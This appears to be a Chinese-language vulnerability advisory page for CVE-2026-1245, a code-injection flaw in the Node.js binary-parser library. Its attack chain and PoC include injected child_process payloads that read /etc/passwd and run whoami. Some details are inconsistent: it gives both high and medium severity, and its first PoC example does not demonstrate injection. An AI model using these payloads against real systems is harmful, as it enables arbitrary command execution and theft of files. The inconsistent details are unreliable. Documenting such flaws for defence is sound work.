IPBUF安全漏洞报告
English
CVE-2026-1245 CVSS 6.5 中危

CVE-2026-1245 binary-parser库代码注入漏洞

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2026-1245
漏洞类型
代码注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
binary-parser

相关标签

代码注入binary-parserNode.js动态代码生成CVE-2026-1245JavaScriptnpm包漏洞

漏洞概述

CVE-2026-1245是存在于binary-parser库中的一个高危代码注入漏洞。该库是一个用于Node.js的二进制数据解析工具,提供了将二进制数据映射为JavaScript对象的便捷方法。漏洞存在于2.3.0版本之前的所有版本中,攻击者可以通过在解析器字段名称或编码参数中注入恶意值来执行任意JavaScript代码。由于该库在生成动态代码时直接使用字符串插值而未进行任何输入清理或过滤,攻击者可以构造特殊的输入使库在运行时执行任意代码。由于该库通常用于处理不可信的二进制数据源(如网络协议解析、文件格式解析等),此漏洞可能被广泛利用,对使用该库的应用造成严重安全威胁。

技术细节

binary-parser库在设计实现中采用了动态代码生成的策略来提高解析效率。库会将用户定义的字段名称和编码参数直接拼接到生成的JavaScript函数代码中。然而,这种设计存在严重的安全缺陷:当用户提供的字段名称包含特殊字符(如反引号、括号、分号等)时,这些字符会被直接嵌入到生成的代码字符串中,导致代码注入。具体来说,如果攻击者将字段名设置为类似 `${require('child_process').execSync('malicious_command')}` 的值,库会将其原样插入到动态生成的代码中,从而在解析时触发代码执行。攻击者可以利用此漏洞在Node.js进程中执行任意系统命令、读取敏感文件或进行其他恶意操作。由于该漏洞无需任何认证即可利用,且CVSS评分达到6.5(网络中均可利用),因此具有较高的实际威胁性。

攻击链分析

STEP 1
步骤1
攻击者识别目标应用使用了存在漏洞的binary-parser库版本(<2.3.0)
STEP 2
步骤2
攻击者构造恶意的字段名称或编码参数,注入JavaScript代码(如${require('child_process').execSync('cat /etc/passwd')})
STEP 3
步骤3
攻击者将恶意数据作为输入发送给目标应用,触发binary-parser的解析流程
STEP 4
步骤4
binary-parser库在动态代码生成时直接将注入的恶意代码插入到生成的函数中
STEP 5
步骤5
解析执行时,注入的恶意代码在Node.js进程上下文中被触发执行
STEP 6
步骤6
攻击者成功在服务器上执行任意系统命令、窃取数据或建立持久化后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const { Parser } = require('binary-parser'); // Malicious field name that injects code const maliciousParser = new Parser() .uint8('length') .string('name', { length: 'length', encoding: 'utf8', // Inject code via field name using template literal formatter: (val) => `${require('child_process').execSync('whoami')}` }); // Another PoC - direct code injection in field name const exploitParser = new Parser() .uint8('a') .string('${console.log("CODE INJECTED")}', { length: 1 }); // Simulating parsing untrusted data try { const buffer = Buffer.from([5, 0x41]); const result = exploitParser.parse(buffer); console.log('Parsed result:', result); } catch (e) { console.log('Error (may still execute injected code):', e.message); } // Example of detecting vulnerable version console.log('binary-parser version check:', require('binary-parser/package.json').version);

影响范围

binary-parser < 2.3.0

防御指南

临时缓解措施
在官方修复发布之前,建议立即停止使用binary-parser库处理任何不可信的数据源,或将应用迁移到其他经过安全审计的二进制解析库。同时,可以考虑在应用层增加输入白名单验证,确保所有字段名称和参数仅包含允许的字符集。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表